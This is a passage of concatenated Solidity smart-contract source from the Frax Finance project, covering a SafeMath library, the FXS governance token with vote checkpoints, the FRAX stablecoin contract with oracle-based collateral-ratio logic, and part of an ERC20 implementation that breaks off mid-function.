/* ========== EVENTS ========== */
event Recovered(address token, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ========================= FRAXShares (FXS) =========================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Reviewer(s) / Contributor(s)
// Sam Sun: https://github.com/samczsun
import "../Common/Context.sol";
import "../ERC20/ERC20Custom.sol";
import "../ERC20/IERC20.sol";
import "../Frax/Frax.sol";
import "../Math/SafeMath.sol";
import "../Governance/AccessControl.sol";
contract FRAXShares is ERC20Custom, AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
string public symbol;
string public name;
uint8 public constant decimals = 18;
address public FRAXStablecoinAdd;
uint256 public constant genesis_supply = 100000000e18; // 100M is printed upon genesis
uint256 public FXS_DAO_min; // Minimum FXS required to join DAO groups
address public owner_address;
address public oracle_address;
address public timelock_address; // Governance timelock address
FRAXStablecoin private FRAX;
bool public trackingVotes = true; // Tracking votes (only change if need to disable votes)
// A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
// A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
// The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/* ========== MODIFIERS ========== */
modifier onlyPools() {
require(FRAX.frax_pools(msg.sender) == true, "Only frax pools can mint new FRAX");
_;
}
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timelock_address, "You are not an owner or the governance timelock");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
string memory _name,
string memory _symbol,
address _oracle_address,
address _owner_address,
address _timelock_address
) public {
name = _name;
symbol = _symbol;
owner_address = _owner_address;
oracle_address = _oracle_address;
timelock_address = _timelock_address;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_mint(owner_address, genesis_supply);
// Do a checkpoint for the owner
_writeCheckpoint(owner_address, 0, 0, uint96(genesis_supply));
}
/* ========== RESTRICTED FUNCTIONS ========== */
function setOracle(address new_oracle) external onlyByOwnerOrGovernance {
oracle_address = new_oracle;
}
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setFRAXAddress(address frax_contract_address) external onlyByOwnerOrGovernance {
FRAX = FRAXStablecoin(frax_contract_address);
}
function setFXSMinDAO(uint256 min_FXS) external onlyByOwnerOrGovernance {
FXS_DAO_min = min_FXS;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function mint(address to, uint256 amount) public onlyPools {
_mint(to, amount);
}
// This function is what other frax pools will call to mint new FXS (similar to the FRAX mint)
function pool_mint(address m_address, uint256 m_amount) external onlyPools {
if(trackingVotes){
uint32 srcRepNum = numCheckpoints[address(this)];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0;
uint96 srcRepNew = add96(srcRepOld, uint96(m_amount), "pool_mint new votes overflows");
_writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // mint new votes
trackVotes(address(this), m_address, uint96(m_amount));
}
super._mint(m_address, m_amount);
emit FXSMinted(address(this), m_address, m_amount);
}
// This function is what other frax pools will call to burn FXS
function pool_burn_from(address b_address, uint256 b_amount) external onlyPools {
if(trackingVotes){
trackVotes(b_address, address(this), uint96(b_amount));
uint32 srcRepNum = numCheckpoints[address(this)];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, uint96(b_amount), "pool_burn_from new votes underflows");
_writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // burn votes
}
super._burnFrom(b_address, b_amount);
emit FXSBurned(b_address, address(this), b_amount);
}
function toggleVotes() external onlyByOwnerOrGovernance {
trackingVotes = !trackingVotes;
}
/* ========== OVERRIDDEN PUBLIC FUNCTIONS ========== */
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
if(trackingVotes){
// Transfer votes
trackVotes(_msgSender(), recipient, uint96(amount));
}
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
if(trackingVotes){
// Transfer votes
trackVotes(sender, recipient, uint96(amount));
}
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/* ========== PUBLIC FUNCTIONS ========== */
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "FXS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/* ========== INTERNAL FUNCTIONS ========== */
// From compound's _moveDelegates
// Keep track of votes. "Delegates" is a misnomer here
function trackVotes(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "FXS::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "FXS::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address voter, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "FXS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[voter][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[voter][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[voter][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[voter] = nCheckpoints + 1;
}
emit VoterVotesChanged(voter, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/* ========== EVENTS ========== */
/// @notice An event thats emitted when a voters account's vote balance changes
event VoterVotesChanged(address indexed voter, uint previousBalance, uint newBalance);
// Track FXS burned
event FXSBurned(address indexed from, address indexed to, uint256 amount);
// Track FXS minted
event FXSMinted(address indexed from, address indexed to, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ======================= FRAXStablecoin (FRAX) ======================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Reviewer(s) / Contributor(s)
// Sam Sun: https://github.com/samczsun
import "../Common/Context.sol";
import "../ERC20/IERC20.sol";
import "../ERC20/ERC20Custom.sol";
import "../ERC20/ERC20.sol";
import "../Math/SafeMath.sol";
import "../FXS/FXS.sol";
import "./Pools/FraxPool.sol";
import "../Oracle/UniswapPairOracle.sol";
import "../Oracle/ChainlinkETHUSDPriceConsumer.sol";
import "../Governance/AccessControl.sol";
contract FRAXStablecoin is ERC20Custom, AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
enum PriceChoice { FRAX, FXS }
ChainlinkETHUSDPriceConsumer private eth_usd_pricer;
uint8 private eth_usd_pricer_decimals;
UniswapPairOracle private fraxEthOracle;
UniswapPairOracle private fxsEthOracle;
string public symbol;
string public name;
uint8 public constant decimals = 18;
address public owner_address;
address public creator_address;
address public timelock_address; // Governance timelock address
address public controller_address; // Controller contract to dynamically adjust system parameters automatically
address public fxs_address;
address public frax_eth_oracle_address;
address public fxs_eth_oracle_address;
address public weth_address;
address public eth_usd_consumer_address;
uint256 public constant genesis_supply = 2000000e18; // 2M FRAX (only for testing, genesis supply will be 5k on Mainnet). This is to help with establishing the Uniswap pools, as they need liquidity
// The addresses in this array are added by the oracle and these contracts are able to mint frax
address[] public frax_pools_array;
// Mapping is also used for faster verification
mapping(address => bool) public frax_pools;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
uint256 public global_collateral_ratio; // 6 decimals of precision, e.g. 924102 = 0.924102
uint256 public redemption_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee
uint256 public minting_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee
uint256 public frax_step; // Amount to change the collateralization ratio by upon refreshCollateralRatio()
uint256 public refresh_cooldown; // Seconds to wait before being able to run refreshCollateralRatio() again
uint256 public price_target; // The price of FRAX at which the collateral ratio will respond to; this value is only used for the collateral ratio mechanism and not for minting and redeeming which are hardcoded at $1
uint256 public price_band; // The bound above and below the price target at which the refreshCollateralRatio() will not change the collateral ratio
address public DEFAULT_ADMIN_ADDRESS;
bytes32 public constant COLLATERAL_RATIO_PAUSER = keccak256("COLLATERAL_RATIO_PAUSER");
bool public collateral_ratio_paused = false;
/* ========== MODIFIERS ========== */
modifier onlyCollateralRatioPauser() {
require(hasRole(COLLATERAL_RATIO_PAUSER, msg.sender));
_;
}
modifier onlyPools() {
require(frax_pools[msg.sender] == true, "Only frax pools can call this function");
_;
}
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timelock_address || msg.sender == controller_address, "You are not the owner, controller, or the governance timelock");
_;
}
modifier onlyByOwnerGovernanceOrPool() {
require(
msg.sender == owner_address
|| msg.sender == timelock_address
|| frax_pools[msg.sender] == true,
"You are not the owner, the governance timelock, or a pool");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
string memory _name,
string memory _symbol,
address _creator_address,
address _timelock_address
) public {
name = _name;
symbol = _symbol;
creator_address = _creator_address;
timelock_address = _timelock_address;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
DEFAULT_ADMIN_ADDRESS = _msgSender();
owner_address = _creator_address;
_mint(creator_address, genesis_supply);
grantRole(COLLATERAL_RATIO_PAUSER, creator_address);
grantRole(COLLATERAL_RATIO_PAUSER, timelock_address);
frax_step = 2500; // 6 decimals of precision, equal to 0.25%
global_collateral_ratio = 1000000; // Frax system starts off fully collateralized (6 decimals of precision)
refresh_cooldown = 3600; // Refresh cooldown period is set to 1 hour (3600 seconds) at genesis
price_target = 1000000; // Collateral ratio will adjust according to the $1 price target at genesis
price_band = 5000; // Collateral ratio will not adjust if between $0.995 and $1.005 at genesis
}
/* ========== VIEWS ========== */
// Choice = 'FRAX' or 'FXS' for now
function oracle_price(PriceChoice choice) internal view returns (uint256) {
// Get the ETH / USD price first, and cut it down to 1e6 precision
uint256 eth_usd_price = uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals);
uint256 price_vs_eth;
if (choice == PriceChoice.FRAX) {
price_vs_eth = uint256(fraxEthOracle.consult(weth_address, PRICE_PRECISION)); // How much FRAX if you put in PRICE_PRECISION WETH
}
else if (choice == PriceChoice.FXS) {
price_vs_eth = uint256(fxsEthOracle.consult(weth_address, PRICE_PRECISION)); // How much FXS if you put in PRICE_PRECISION WETH
}
else revert("INVALID PRICE CHOICE. Needs to be either 0 (FRAX) or 1 (FXS)");
// Will be in 1e6 format
return eth_usd_price.mul(PRICE_PRECISION).div(price_vs_eth);
}
// Returns X FRAX = 1 USD
function frax_price() public view returns (uint256) {
return oracle_price(PriceChoice.FRAX);
}
// Returns X FXS = 1 USD
function fxs_price() public view returns (uint256) {
return oracle_price(PriceChoice.FXS);
}
function eth_usd_price() public view returns (uint256) {
return uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals);
}
// This is needed to avoid costly repeat calls to different getter functions
// It is cheaper gas-wise to just dump everything and only use some of the info
function frax_info() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (
oracle_price(PriceChoice.FRAX), // frax_price()
oracle_price(PriceChoice.FXS), // fxs_price()
totalSupply(), // totalSupply()
global_collateral_ratio, // global_collateral_ratio()
globalCollateralValue(), // globalCollateralValue
minting_fee, // minting_fee()
redemption_fee, // redemption_fee()
uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals) //eth_usd_price
);
}
// Iterate through all frax pools and calculate all value of collateral in all pools globally
function globalCollateralValue() public view returns (uint256) {
uint256 total_collateral_value_d18 = 0;
for (uint i = 0; i < frax_pools_array.length; i++){
// Exclude null addresses
if (frax_pools_array[i] != address(0)){
total_collateral_value_d18 = total_collateral_value_d18.add(FraxPool(frax_pools_array[i]).collatDollarBalance());
}
}
return total_collateral_value_d18;
}
/* ========== PUBLIC FUNCTIONS ========== */
// There needs to be a time interval that this can be called. Otherwise it can be called multiple times per expansion.
uint256 public last_call_time; // Last time the refreshCollateralRatio function was called
function refreshCollateralRatio() public {
require(collateral_ratio_paused == false, "Collateral Ratio has been paused");
uint256 frax_price_cur = frax_price();
require(block.timestamp - last_call_time >= refresh_cooldown, "Must wait for the refresh cooldown since last refresh");
// Step increments are 0.25% (upon genesis, changable by setFraxStep())
if (frax_price_cur > price_target.add(price_band)) { //decrease collateral ratio
if(global_collateral_ratio <= frax_step){ //if within a step of 0, go to 0
global_collateral_ratio = 0;
} else {
global_collateral_ratio = global_collateral_ratio.sub(frax_step);
}
} else if (frax_price_cur < price_target.sub(price_band)) { //increase collateral ratio
if(global_collateral_ratio.add(frax_step) >= 1000000){
global_collateral_ratio = 1000000; // cap collateral ratio at 1.000000
} else {
global_collateral_ratio = global_collateral_ratio.add(frax_step);
}
}
last_call_time = block.timestamp; // Set the time of the last expansion
}
/* ========== RESTRICTED FUNCTIONS ========== */
// Used by pools when user redeems
function pool_burn_from(address b_address, uint256 b_amount) public onlyPools {
super._burnFrom(b_address, b_amount);
emit FRAXBurned(b_address, msg.sender, b_amount);
}
// This function is what other frax pools will call to mint new FRAX
function pool_mint(address m_address, uint256 m_amount) public onlyPools {
super._mint(m_address, m_amount);
emit FRAXMinted(msg.sender, m_address, m_amount);
}
// Adds collateral addresses supported, such as tether and busd, must be ERC20
function addPool(address pool_address) public onlyByOwnerOrGovernance {
require(frax_pools[pool_address] == false, "address already exists");
frax_pools[pool_address] = true;
frax_pools_array.push(pool_address);
}
// Remove a pool
function removePool(address pool_address) public onlyByOwnerOrGovernance {
require(frax_pools[pool_address] == true, "address doesn't exist already");
// Delete from the mapping
delete frax_pools[pool_address];
// 'Delete' from the array by setting the address to 0x0
for (uint i = 0; i < frax_pools_array.length; i++){
if (frax_pools_array[i] == pool_address) {
frax_pools_array[i] = address(0); // This will leave a null in the array and keep the indices the same
break;
}
}
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setRedemptionFee(uint256 red_fee) public onlyByOwnerOrGovernance {
redemption_fee = red_fee;
}
function setMintingFee(uint256 min_fee) public onlyByOwnerOrGovernance {
minting_fee = min_fee;
}
function setFraxStep(uint256 _new_step) public onlyByOwnerOrGovernance {
frax_step = _new_step;
}
function setPriceTarget (uint256 _new_price_target) public onlyByOwnerOrGovernance {
price_target = _new_price_target;
}
function setRefreshCooldown(uint256 _new_cooldown) public onlyByOwnerOrGovernance {
refresh_cooldown = _new_cooldown;
}
function setFXSAddress(address _fxs_address) public onlyByOwnerOrGovernance {
fxs_address = _fxs_address;
}
function setETHUSDOracle(address _eth_usd_consumer_address) public onlyByOwnerOrGovernance {
eth_usd_consumer_address = _eth_usd_consumer_address;
eth_usd_pricer = ChainlinkETHUSDPriceConsumer(eth_usd_consumer_address);
eth_usd_pricer_decimals = eth_usd_pricer.getDecimals();
}
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setController(address _controller_address) external onlyByOwnerOrGovernance {
controller_address = _controller_address;
}
function setPriceBand(uint256 _price_band) external onlyByOwnerOrGovernance {
price_band = _price_band;
}
// Sets the FRAX_ETH Uniswap oracle address
function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address) public onlyByOwnerOrGovernance {
frax_eth_oracle_address = _frax_oracle_addr;
fraxEthOracle = UniswapPairOracle(_frax_oracle_addr);
weth_address = _weth_address;
}
// Sets the FXS_ETH Uniswap oracle address
function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address) public onlyByOwnerOrGovernance {
fxs_eth_oracle_address = _fxs_oracle_addr;
fxsEthOracle = UniswapPairOracle(_fxs_oracle_addr);
weth_address = _weth_address;
}
function toggleCollateralRatio() public onlyCollateralRatioPauser {
collateral_ratio_paused = !collateral_ratio_paused;
}
/* ========== EVENTS ========== */
// Track FRAX burned
event FRAXBurned(address indexed from, address indexed to, uint256 amount);
// Track FRAX minted
event FRAXMinted(address indexed from, address indexed to, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "../Common/Context.sol";
import "./IERC20.sol";
import "../Math/SafeMath.sol";
import "../Utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.approve(address spender, uint256 amount)
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for `accounts`'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
